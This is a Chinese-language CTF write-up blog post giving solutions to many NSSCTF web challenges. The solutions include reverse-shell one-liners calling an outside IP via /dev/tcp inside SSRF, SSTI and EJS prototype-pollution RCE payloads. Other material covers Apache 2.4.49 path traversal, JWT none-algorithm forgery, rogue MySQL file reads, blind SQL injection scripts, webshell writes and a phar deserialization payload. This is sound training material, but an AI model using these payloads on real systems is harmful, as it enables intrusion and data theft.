【Web】NSSRound#1-20 Basic 刷题记录(全)
目录
[NSSRound#1 Basic]basic_check
[NSSRound#1 Basic]sql_by_sql
[NSSCTF 2nd]php签到
[NSSCTF 2nd]MyBox
[NSSCTF 2nd]MyBox(revenge)
[NSSCTF 2nd]MyHurricane
[NSSCTF 2nd]MyJs
[NSSRound#3 Team]This1sMysql
[NSSRound#3 Team]path_by_path
[NSSRound#4 SWPU]1zweb
[NSSRound#4 SWPU]1zweb(revenge)
[NSSRound#4 SWPU]ez_rce
[NSSRound#6 Team]check(V1)
[NSSRound#6 Team]check(Revenge)
[NSSRound#7 Team]ec_RCE
[NSSRound#7 Team]0o0
[NSSRound#7 Team]ShadowFlag
[NSSRound#7 Team]新的博客
[NSSRound#8 Basic]MyPage
[NSSRound#8 Basic]MyDoor
[NSSRound#8 Basic]Upload_gogoggo
[NSSRound#8 Basic]ez_node
[NSSRound#13 Basic]flask?jwt?
[NSSRound#13 Basic]flask?jwt?(hard)
[NSSRound#13 Basic]ez_factors
[NSSRound#13 Basic]MyWeb
[NSSRound#13 Basic]TimeTrcer
[NSSRound#16 Basic]RCE但是没有完全RCE
[NSSRound#16 Basic]了解过PHP特性吗
[NSSRound#17 Basic]真·签到
[NSSRound#17 Basic]真的是文件上传吗?
[NSSRound#18 Basic]门酱想玩什么呢?
[NSSRound#18 Basic]Becomeroot
[NSSRound#18 Basic]easy_rw
[NSSRound#20 Basic]真亦假,假亦真
[NSSRound#20 Basic]CSDN_To_PDF V1.2
[NSSRound#20 Basic]baby-Codeigniter
[NSSRound#20 Basic]组合拳!
[NSSRound#1 Basic]basic_check
HTTP OPTIONS请求方法的主要作用是查询目标资源(URL)支持的通信选项。客户端可以通过发送OPTIONS请求来检查服务器支持哪些HTTP方法(如GET、POST、DELETE等),以及了解服务器的其他能力。OPTIONS请求可以被用于两种场景:
-
针对特定资源的查询:当OPTIONS请求发送到一个具体的URL上时,它询问的是那个特定资源支持哪些HTTP方法。这可以让客户端知道如何与该资源交互。
-
整站级别的能力查询:当OPTIONS请求的URL是星号(*)时,比如OPTIONS * HTTP/1.1,它表示的是对整个服务器的能力进行查询,而不是针对某个具体的资源。
postman发送请求,回包的响应头显示服务器支持PUT方法
PUT请求如果URI不存在,则要求服务器根据请求创建资源,如果存在,服务器就接受请求内容,并修改URI资源的原始版本
访问/yjh.php,命令执行拿flag
[NSSRound#1 Basic]sql_by_sql
二次注入详解
先注册一个恶意用户
拿这个账号登录
修改密码
拿admin/12345成功登录,查询用户是注入点
直接sqlmap跑出来
[NSSCTF 2nd]php签到
关于pathinfo绕过,参考文章:
pathinfo两三事-安全客 - 安全资讯平台
贴出脚本
import requests as req def upload(file_path, new_file_name, url): """ 上传一个文件到指定的URL,并在上传前修改文件名。 :param file_path: 要上传的文件的本地路径。 :param new_file_name: 上传后文件的新名称。 :param url: 上传文件的目标URL。 """ # 以二进制方式读取文件内容 with open(file_path, 'rb') as file_content: # 在files字典中使用新的文件名 files = {'file': (new_file_name, file_content)} # 发送POST请求上传文件 response = req.post(url, files=files) print(response.text) if __name__ == "__main__": # 定义上传信息 file_path_to_upload = "D:\CTF\码\yjh3.php" # 修改为你的PHP文件路径 new_file_name = 'yjh.php%2F%2e' # 上传后的文件名 upload_url = "http://node5.anna.nssctf.cn:28182/" # 修改为实际的上传URL # 执行上传 upload(file_path_to_upload, new_file_name, upload_url)
访问/yjh.php,读环境变量拿到flag
[NSSCTF 2nd]MyBox
进来啥也没有,就给了个?url=xxx
经过尝试可以读本地文件
?url=file:///etc/passwd
?url=file:///proc/1/environ
[NSSCTF 2nd]MyBox(revenge)
这次直接不给读环境变量了
?url=file:///app/app.py
读app.py源码
这里后端对mybox://的处理就和gopher://一样,完全可以按照gopher来打
payload生成脚本
import urllib.parse test ="""GET /xxx.php HTTP/1.1 Host: 127.0.0.1:80 """ #注意后面一定要有回车,回车结尾表示http请求结束 tmp = urllib.parse.quote(test) new = tmp.replace('%0A','%0D%0A') result = 'mybox://127.0.0.1:80/'+'_'+new print(urllib.parse.quote(result))
?url=mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A
随便访问一个不存在的php文件后,回显报错内容,得知Server版本为Apache/2.4.49
Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用-CSDN博客
payload生成脚本:
import urllib.parse payload ="""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 59 echo;bash -c 'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1' """ #注意后面一定要有回车,回车结尾表示http请求结束。 tmp = urllib.parse.quote(payload) new = tmp.replace('%0A','%0D%0A') result = 'mybox://127.0.0.1:80/'+'_'+new result = urllib.parse.quote(result) print(result)
反弹shell拿到flag
[NSSCTF 2nd]MyHurricane
进来直接给了源码
import tornado.ioloop import tornado.web import os BASE_DIR = os.path.dirname(__file__) def waf(data): bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}'] for c in bl: if c in data: return False for chunk in data.split(): for c in chunk: if not (31就是要绕过waf实现tornado模板注入
ban掉了这些
'\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}'
tornado模板注入-CSDN博客
可以直接读环境变量偷鸡
payload:
ssti={% include /proc/self/environ %}也可以反弹shell
payload:
__import__('os').system('bash -c \'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\'') """ &ssti={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}& """[NSSCTF 2nd]MyJs
先随便注册一个账号,拿到token
拿到的token是jwt
登录后跳转一个update的界面
随便改一下,回显不能修改uid
黑盒只能测到这了,扫一下目录
扫出来/source,访问,拿到源码
const express = require('express'); const bodyParser = require('body-parser'); const lodash = require('lodash'); const session = require('express-session'); const randomize = require('randomatic'); const jwt = require('jsonwebtoken') const crypto = require('crypto'); const fs = require('fs'); global.secrets = []; express() .use(bodyParser.urlencoded({extended: true})) .use(bodyParser.json()) .use('/static', express.static('static')) .set('views', './views') .set('view engine', 'ejs') .use(session({ name: 'session', secret: randomize('a', 16), resave: true, saveUninitialized: true })) .get('/', (req, res) => { if (req.session.data) { res.redirect('/home'); } else { res.redirect('/login') } }) .get('/source', (req, res) => { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync(__filename)); }) .all('/login', (req, res) => { if (req.method == "GET") { res.render('login.ejs', {msg: null}); } if (req.method == "POST") { const {username, password, token} = req.body; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; if (sid === undefined || sid === null || !(sid = 0)) { return res.render('login.ejs', {msg: 'login error.'}); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: "HS256"}); if (username === user.username && password === user.password) { req.session.data = { username: username, count: 0, } res.redirect('/home'); } else { return res.render('login.ejs', {msg: 'login error.'}); } } }) .all('/register', (req, res) => { if (req.method == "GET") { res.render('register.ejs', {msg: null}); } if (req.method == "POST") { const {username, password} = req.body; if (!username || username == 'nss') { return res.render('register.ejs', {msg: "Username existed."}); } const secret = crypto.randomBytes(16).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret); const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"}); res.render('register.ejs', {msg: "Token: " + token}); } }) .all('/home', (req, res) => { if (!req.session.data) { return res.redirect('/login'); } res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: null }) }) .post('/update', (req, res) => { if(!req.session.data) { return res.redirect('/login'); } if (req.session.data.username !== 'nss') { return res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: 'U cant change uid' }) } let data = req.session.data || {}; req.session.data = lodash.merge(data, req.body); console.log(req.session.data.outputFunctionName); res.redirect('/home'); }) .listen(827, '0.0.0.0')意思就是说以nss账号登录就可在/update路由下打一个ejs原型链污染
如何以nss账号登录,关键在/login路由
if (req.method == "POST") { ... }: 这是一个条件语句,用于检查请求的方法是否为 POST。只有当请求的方法为 POST 时才会执行后续的逻辑。
const {username, password, token} = req.body;: 这一行从请求的 body 中提取出 username、password 和 token。这些数据通常是用户在登录表单中输入的信息。
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;: 这一行解析了 token,从中提取出 secretid。token 通常是用户在登录时生成的身份验证令牌。
if (sid === undefined || sid === null || !(sid = 0)) { ... }: 这个条件语句检查 sid 是否有效。如果 sid 未定义、为空或者不在有效范围内,则返回一个登录错误消息。
const secret = global.secrets[sid];: 这一行从全局的 secrets 数组中根据 sid 获取对应的密钥。
const user = jwt.verify(token, secret, {algorithm: "HS256"});: 这一行使用 jwt.verify 方法验证 token 的有效性,并解析出其中的用户信息。需要注意的是,这里的 secret 是用来验证 token 签名的密钥。
if (username === user.username && password === user.password) { ... }: 这个条件语句检查用户输入的用户名和密码是否与 token 中解析出的用户信息匹配。如果匹配成功,则将用户信息存储在会话中,并重定向到 '/home' 页面。
参考文章
从一道CTF题看Node.JS中的JWT库误用 - SecPulse.COM | 安全脉搏
关于身份的验证是通过解析token进行的,这里用空算法伪造jwt即可(algorithm的误用)
exp
import jwt import base64 # 构造JWT的payload部分 payload = { "username": "nss", "password": "123456", "secretid": [], # 用具体的值替代列表 "iat": 1712626361 } # 生成JWT,对于algorithm='none',传递None作为密钥 token = jwt.encode(payload, None, algorithm="none") # 为了展示,将JWT分割成三个部分,并单独打印payload部分的base64解码内容 header, payload, signature = token.split('.') decoded_payload = base64.urlsafe_b64decode(payload + "==").decode() print("Generated JWT:", token) print("Decoded Payload:", decoded_payload)在/update路由打ejs原型链污染
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');var __tmp2"}}}再访问/login,render触发rce,成功反弹shell,读环境变量拿flag
[NSSRound#3 Team]This1sMysql
浅析MySQL恶意服务器读取文件原理
MySQL服务端恶意读取客户端文件漏洞 |
payload:
config[8]=true&mysql[host]=124.222.136.33&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=3306这里config[8]就是MYSQLI_OPT_LOCAL_INFILE
GitHub - allyshka/Rogue-MySql-Server: MySQL fake server for read files of connected clients
改一下filelist
读到function.php和class.php的源码
交给gpt去美化一下
class.php
function.php
看到mysql.txt
访问/mysql.txt,拿到靶机数据库的相关信息
查询MySQL服务器的全局变量secure_file_priv的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILE和SELECT ... INTO OUTFILE语句的目录。
import requests import datetime url="http://node4.anna.nssctf.cn:28297/" path_dir='' for i in range(1,50): low = 41 high = 130 mid = (high + low) // 2 while (low {mid},sleep(2),1)#".format(i=i, mid=mid) data={ "config[3]":payload } time1 = datetime.datetime.now() r = requests.post(url, data) time2 = datetime.datetime.now() time = (time2 - time1).seconds if time > 1: low = mid + 1 else: high = mid mid = (low + high) // 2 if (mid == 41 or mid == 130): break path_dir += chr(mid) print('目录为:{}'.format(path_dir))写马,这里config[3]是MYSQLI_INIT_COMMAND
payload:
config[3]=select '' into outfile '/nssctf/yjh.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()
如果反序列化成功则会include "/nssctf/yjh.php"
生成的phar包用CyberChef处理一下
这次用select xxx into dumpfile来写入
Mysql注入中的outfile、dumpfile、load_file函数详解_Mysql_脚本之家
payload:
config[3]=select 0x3c3f706870205f5f48414c545f434f4d50494c455228293b203f3e0d0ab401000001000000110000000100000000007e0100004f3a343a2254657374223a323a7b733a353a227465737431223b4f3a343a2253686f77223a333a7b733a363a22736f75726365223b4e3b733a333a22737472223b613a323a7b693a303b4f3a363a2255706c6f6164223a343a7b733a343a2266696c65223b4e3b733a383a2266696c6573697a65223b4f3a343a2253686f77223a333a7b733a363a22736f75726365223b4e3b733a333a22737472223b4e3b733a363a2266696c746572223b4e3b7d733a343a2264617465223b733a373a22796a682e706870223b733a333a22746d70223b4f3a343a2254657374223a323a7b733a353a227465737431223b4e3b733a353a227465737432223b723a373b7d7d693a313b4f3a363a2255706c6f6164223a343a7b733a343a2266696c65223b4e3b733a383a2266696c6573697a65223b723a373b733a343a2264617465223b733a383a222f6e73736374662f223b733a333a22746d70223b723a31323b7d7d733a363a2266696c746572223b4e3b7d733a353a227465737432223b4e3b7d08000000746573742e7478740400000077e01466040000000c7e7fd8b60100000000000074657374526909bc912a64220a120c3460990db2db8167a60200000047424d42 into dumpfile '/nssctf/phar.png';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306然后function.php中的file_exists触发phar反序列化
?mysqlpath=phar:///nssctf/phar.png 1=system('env');读环境变量拿到flag
[NSSRound#3 Team]path_by_path
进来直接拿到源码
const express = require('express'); const request = require('request'); const bodyParser = require('body-parser'); const { readFileSync } = require('fs'); const { env } = require('process'); const app = express(); const urlencodedParser = bodyParser.urlencoded({extended: false}); let whoami = { info: { name: env.NAME, bio: env.BIO, }, other: { intro: env.INTRO } } app.get('/', (req, res) => { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(readFileSync(__filename)); }) app.post('/exec', urlencodedParser, (req, res) => { const path = req.body.path; const url = new URL(path, 'http://127.0.0.1:5000'); request.get(url.toString(),{},(e, r, b) => { let resp = JSON.parse(b); whoami[resp.p][resp.f] = resp[resp.f] ? resp[resp.f] : env[resp.f]; }); res.send(''); }) app.get('/whoami', (req, res) => { let public = req.query.public; public = (public == 'info' || public == 'other') ? public : (whoami.public ? whoami.public : 'info'); let field = req.query.field; field = (field == 'name' || field == 'bio' || field == 'intro') ? field : (whoami.field ? whoami.field : 'name'); res.send(`The ${field} is ${whoami[public][field]}`); }) process.on('uncaughtException',function(err){}) app.listen(8000, '0.0.0.0', () => {})
根路由(GET /):当访问根路由时,服务器返回当前文件的内容。这通过readFileSync(__filename)实现,其中__filename是当前运行脚本的路径。
执行路由(POST /exec):这个路由接收一个POST请求,包含一个path参数。这个参数被用来构建一个新的URL,然后向该URL发送GET请求。收到响应后,服务器尝试将响应体解析为JSON,并根据解析结果更新whoami对象的属性。这个过程存在潜在的安全风险,因为它允许外部请求影响服务器状态。
查询路由(GET /whoami):这个路由根据查询参数public(值为info或other)和field(值为name、bio或intro)返回相应的信息。如果没有指定,它会使用whoami对象中的默认值。
/exec路由写whoami对象属性
/whoami路由可以读 whoami对象属性
先起个flask服务器
from flask import Flask, request, jsonify app = Flask(__name__) # 用于执行的路由,模拟客户端想要访问的URL @app.route('/', methods=['GET']) def somepath(): # 返回一个简单的JSON,模拟客户端代码中期待的响应格式 return jsonify({ "p": "info", "f": "FLAG" }) if __name__ == '__main__': app.run(host='0.0.0.0', port=1337, debug=True)这里目的是让whoami[info][FLAG]=env[FLAG],把环境变量的FLAG直接写入whoami对象属性
再修改flask源码返回的json
from flask import Flask, request, jsonify app = Flask(__name__) # 用于执行的路由,模拟客户端想要访问的URL @app.route('/', methods=['GET']) def somepath(): # 返回一个简单的JSON,模拟客户端代码中期待的响应格式 return jsonify({ "p": "__proto__", "f": "field", "field": "FLAG" }) if __name__ == '__main__': app.run(host='0.0.0.0', port=1337, debug=True)这里的目的是让whoami.field=FLAG
最终payload:
/whoami?public=info&field=Z3r4yThe ${field} is ${whoami[public][field]}补全就是 The FLAG is ${whoami[info][FLAG]} => The FLAG is NSSCTF{xxx}
[NSSRound#4 SWPU]1zweb
可以直接读靶机本地文件
偷鸡环境变量权限不够,直接读/flag
file=../../../../../../flag&submit=[NSSRound#4 SWPU]1zweb(revenge)
不能直接读/flag了
先读index.php
file=/var/www/html/index.php&submit=拿到源码
给了一个恶意类,然后file_get_contents可以触发phar反序列化
绕过wakeup不解释,因为修改了文件内容所以要重写下签名,绕过_HALT_COMPILE需要进行gzip压缩
脚本
还没有评论,来说两句吧...